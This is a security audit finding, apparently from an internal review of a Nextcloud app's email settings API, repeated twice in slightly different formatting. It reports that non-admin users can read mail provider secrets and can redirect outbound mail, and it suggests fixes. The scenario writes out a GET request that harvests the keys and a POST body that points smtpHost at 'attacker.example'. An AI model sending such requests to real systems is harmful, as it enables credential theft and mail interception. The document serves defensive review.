Severity: CRITICAL
Location: lib/Controller/SettingsController.php lines 1937–2013 (getEmailSettings, updateEmailSettings); lib/Service/SettingsService.php lines 1878–2043
Description:
Both getEmailSettings and updateEmailSettings are @NoAdminRequired.
GET /api/settings/email returns the raw values of smtpPassword, sendgridApiKey, mailgunApiKey, postmarkApiKey, sesSecretKey, and mailjetSecretKey to any authenticated user.
POST /api/settings/email allows any authenticated user to repoint the outbound SMTP/API credentials to an attacker-controlled host. Combined with C7 (plaintext passwords in email), every subsequent new-user welcome email delivers credentials to the attacker.
Scenario:
GET /api/settings/email as any user → harvest all mail provider API keys.
POST /api/settings/email {"smtpHost":"attacker.example","smtpUser":"x","smtpPassword":"..."} → redirect all outbound mail to attacker.
Suggested fix:
- Admin-gate both endpoints.
- Redact secrets on read (return only masked values / last 4 chars).
- Store credentials via NC
ICredentialsManager instead of plain IAppConfig.
Source: deep team-reviewer pass 2026-05-27
Severity: CRITICAL
Location:
lib/Controller/SettingsController.phplines 1937–2013 (getEmailSettings,updateEmailSettings);lib/Service/SettingsService.phplines 1878–2043Description:
Both
getEmailSettingsandupdateEmailSettingsare@NoAdminRequired.GET /api/settings/emailreturns the raw values ofsmtpPassword,sendgridApiKey,mailgunApiKey,postmarkApiKey,sesSecretKey, andmailjetSecretKeyto any authenticated user.POST /api/settings/emailallows any authenticated user to repoint the outbound SMTP/API credentials to an attacker-controlled host. Combined with C7 (plaintext passwords in email), every subsequent new-user welcome email delivers credentials to the attacker.Scenario:
GET /api/settings/emailas any user → harvest all mail provider API keys.POST /api/settings/email {"smtpHost":"attacker.example","smtpUser":"x","smtpPassword":"..."}→ redirect all outbound mail to attacker.Suggested fix:
ICredentialsManagerinstead of plainIAppConfig.Source: deep team-reviewer pass 2026-05-27